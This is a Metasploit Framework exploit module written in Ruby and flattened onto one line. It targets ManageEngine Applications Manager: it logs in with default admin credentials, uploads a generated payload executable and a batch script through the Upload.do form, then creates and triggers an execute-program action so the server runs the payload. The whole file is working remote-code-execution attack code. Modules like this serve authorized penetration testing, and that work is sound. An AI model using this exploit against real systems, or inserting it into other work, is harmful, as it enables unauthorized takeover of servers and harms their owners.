## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize super( 'Name' => 'ManageEngine Applications Manager Authenticated Code Execution', 'Description' => %q{ This module logs into the Manage Engine Appplications Manager to upload a payload to the file system and a batch script that executes the payload. }, 'Author' => 'Jacob Giannantonio ', 'Platform' => 'win', 'DisclosureDate' => 'Apr 08 2011', 'Targets' => [ ['Automatic',{}], ], 'DefaultTarget' => 0 ) register_options( [ Opt::RPORT(9090), OptString.new('URI', [false, "URI for Applications Manager", '/']), OptString.new('USER', [false, "username", 'admin']), OptString.new('PASS', [false, "password", 'admin']), ], self.class) end def target_url uri = normalize_uri(datastore['URI']) "http://#{rhost}:#{rport}#{uri}" end def exploit # Make initial request to get assigned a session token cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; " cookie << "am_username=;am_check=" begin print_status "#{target_url} Applications Manager - Requesting Session Token" res = send_request_cgi({ 'method'=> 'GET', 'uri' => "#{target_url}/webclient/common/jsp/home.jsp", 'cookie' => cookie.to_s }, 20) if !res print_error("Request to #{target_host} failed") return end if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/) cookie << "; #{$1}" print_good("Assigned #{$1}") else print_error("Initial request failed: http error #{res.code}") return end rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout return rescue ::Timeout::Error, ::Errno::EPIPE return end # send cookie to index.do begin print_status "Sending session token to #{target_url}/index.do" res = send_request_raw({ 'method' => 'GET', 'uri' => "#{target_url}/index.do", 'cookie' => cookie }, 20) if !res || res.code != 200 print_error("Request to #{target_url} failed") end rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout print_error("Request to #{target_url}/index.do failed") return rescue ::Timeout::Error, ::Errno::EPIPE return end # Log in with the assigned session token post_data = "clienttype2=html&j_username=" post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&" post_data << "j_password=" post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login" print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'") begin res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{target_url}/j_security_check", 'cookie' => cookie, 'data' => post_data.to_s }, 20) if !res print_error("Request to #{target_url} Failed") end # Server responds with a 302 redirect when the login is successful and # HTTP 200 for a failed login if res and res.code == 302 print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'") else print_error("Failed to log into #{target_url}") return end rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout print_error("Request to #{target_url}/j_security_check failed") return rescue ::Timeout::Error, ::Errno::EPIPE return end # initial request to upload.do # I think this is required to upload content later on. begin res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{target_url}/Upload.do", 'cookie'=> cookie, 'data' => post_data }, 20) if !res print_error("HTTP request to #{target_url} Failed") end rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout print_error("Request to #{target_url}/Upload.do Failed") return rescue ::Timeout::Error, ::Errno::EPIPE return end # Transfer the payload executable via POST request to Upload.do boundary = rand_text_numeric(11) payload_file = "#{rand_text_alphanumeric(20)}.exe" lines = "-----------------------------#{boundary}" content_disposition = "Content-Disposition: form-data; name=\"theFile\";" content_disposition << "filename=\"#{payload_file}\"\r\n" post_data = lines + "\r\n" + content_disposition.to_s post_data << "Content-Type: application/x-msdos-program\r\n\r\n" post_data << "#{generate_payload_exe}\r\n\r\n" post_data << lines + "\r\nContent-Disposition: form-data; " post_data << "name=\"uploadDir\"\r\n\r\n" post_data << ".\/\r\n#{lines}--\r\n" begin referer = "http://#{target_url}/Upload.do" res = send_request_raw({ 'method' => 'POST', 'uri' => "#{target_url}/Upload.do", 'headers' => { 'Referer' => referer, 'cookie' => "#{cookie}\r\nContent-Type: " + "multipart/form-data; " + "boundary=---------------------------#{boundary}", 'Content-Length' => post_data.length}, 'data' => post_data }, 20) if !res print_error("Request to #{target_url} failed") end if res and res.code == 200 print_good("Uploaded payload #{payload_file}") else print_error("Response HTTP #{res.code} and HTTP 302 expected") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Request to #{target_url}/Upload.do failed") return rescue ::Timeout::Error, ::Errno::EPIPE return end # Transfer the batch sript via POST request to Upload.do # The server will eventually call the batch script, which will call the payload.exe boundary = rand_text_numeric(11) bat_file = "#{rand_text_alphanumeric(20)}.bat" lines = "-----------------------------#{boundary}" content_disposition = "Content-Disposition: form-data; name=\"theFile\"; " content_disposition << "filename=\"#{bat_file}\"\r\n" post_data = lines + "\r\n" + content_disposition.to_s post_data << "Content-Type: application/x-msdos-program\r\n\r\n" post_data << "@ECHO off && \"C:\\\\program files\\ManageEngine\\AppManager9\\workin" post_data << "g\\#{payload_file}\"\r\n\r\n" post_data << lines + "\r\nContent-Disposition: form-data; name=\"uploadDir\"" post_data << "\r\n\r\n" post_data << ".\/\r\n#{lines}--\r\n" begin referer = "#{target_url}/Upload.do" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{target_url}/Upload.do", 'headers' => { 'Referer' => referer, 'cookie' => "#{cookie}\r\nContent-Type: multipart/form-data; " + "boundary=---------------------------#{boundary}", 'Content-Length' => post_data.length}, 'data' => post_data }, 20) if !res print_error("HTTP request to #{target_url} failed") return end if res and res.code == 200 print_good("Uploaded #{bat_file} to execute #{payload_file}") end rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout print_error("Request to #{target_url}/Upload.do failed") return rescue ::Timeout::Error, ::Errno::EPIPE return end action_name = "#{rand_text_alphanumeric(20)}" post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha" post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp" post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m" post_data << "onitoringmode=TELNET&username=&password=&description=&port=23" post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir=" post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a" post_data << "bortafter=10&cancel=false" # This client request is necessary because it sends a request to the server # specifying that we are interested in executing the batch script. If # successful, the server response body will contain an actionID that is # used to tell the server to execute the script. begin referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null" res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{target_url}/adminAction.do", 'headers' => { 'Referer' => referer, 'cookie' => cookie, 'Content-Type' => "application/x-www-form-urlencoded", 'Content-Length' => post_data.to_s.length}, 'data' => post_data.to_s }, 20) if !res print_error("Request to #{target_host} failed") end # We are parsing the response in order to determine the correct actionID. # My solution for doing this is to iterate through the HTTP response one # line at a time. The correct actionID always comes up several lines # after reading the name of the batch file 3 times. Even if other batch # files are mixed up in the list of actions to execute, ours is always # the next one after reading the batch file name 3 times if res and (res.code == 302 || res.code == 200) action_id = 0 x = 0 res.body.each_line do |k| k.strip! if((k =~ /&actionID=(\d{8})/) && (x == 3)) action_id = $1 break; elsif((k =~ /#{bat_file}/) && (x < 3)) x+=1 end end else print_error("HTTP error #{res.code} and HTTP 302 expected") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("HTTP request to #{target_url}/adminAction.do ") return rescue ::Timeout::Error, ::Errno::EPIPE return end begin referer = "#{target_url}/common/executeScript.do?" referer << "method=testAction&actionID=#{action_id}&haid=null" print_good("Requesting to execute batch file with actionID #{action_id}") res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{target_url}/common/executeScript.do?method=testAction&" + "actionID=#{action_id}&haid=null", 'headers' => { 'Referer' => referer, 'cookie' => "executeProgramActionTable_sortcol=1; " + "executeProgramActionTable_sortdir=down; " + "#{cookie}; executeProgramActionTable_" + "sortdir=down; executeProgramActionTable_sortcol=1", 'Content-Type' => "application/x-www-form-urlencoded"} }, 20) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("Request to execute the actionID failed") rescue ::Timeout::Error, ::Errno::EPIPE end end end